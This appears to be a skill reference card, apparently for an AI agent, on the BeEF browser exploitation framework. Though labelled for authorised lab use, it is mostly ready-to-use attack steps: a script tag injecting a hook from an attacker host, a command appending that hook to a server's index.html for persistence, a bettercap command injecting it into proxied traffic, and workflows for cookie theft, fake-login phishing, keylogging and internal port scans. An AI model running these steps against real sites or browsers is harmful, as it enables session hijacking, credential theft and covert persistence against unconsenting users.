| name | beef |
| description | Auth/lab ref: Browser Exploitation Framework - hook browsers via XSS/injected JS and perform client-side testing. |
| license | MIT |
| compatibility | Ruby; Linux/macOS. |
| metadata | {"author":"AeonDave","version":"1.1"} |
BeEF (Browser Exploitation Framework)
Hook browsers via XSS and execute client-side attacks from a web console.
Quick Start
beef-xss
git clone https://github.com/beefproject/beef
cd beef && ./install && ./beef
Inject Hook
<script src="http://YOUR_IP:3000/hook.js"></script>
Key Module Categories
| Category | Examples |
|---|
| Network | Port scanner, ping sweep, SSRF |
| Browser | Fingerprint, clipboard steal, camera access |
| Social Engineering | Fake login, fake update, clickjacking |
| Exploits | Browser CVEs, Java exploits |
| Persistence | Persistent hook via service worker |
| Misc | Keylogger, screenshot, geolocation |
Common Workflows
Steal cookies via hooked browser:
Modules > Browser > Hooked Domain > Get Cookie
Phishing via fake login overlay:
Modules > Social Engineering > Pretty Theft
Port scan internal network from browser:
Modules > Network > Port Scanner
# Set targets: 192.168.1.1-254
Hook Persistence
echo '<script src="http://YOUR_IP:3000/hook.js"></script>' >> /var/www/html/index.html
Configuration (config.yaml)
beef:
credentials:
user: "beef"
passwd: "changeme"
http:
host: "0.0.0.0"
port: "3000"
https:
enable: true
port: "3001"
Combine with Other Attacks
bettercap -eval "set http.proxy.injectjs http://YOUR_IP:3000/hook.js; http.proxy on"
Resources
| File | When to load |
|---|
references/modules.md | Full module list by category, hook persistence techniques |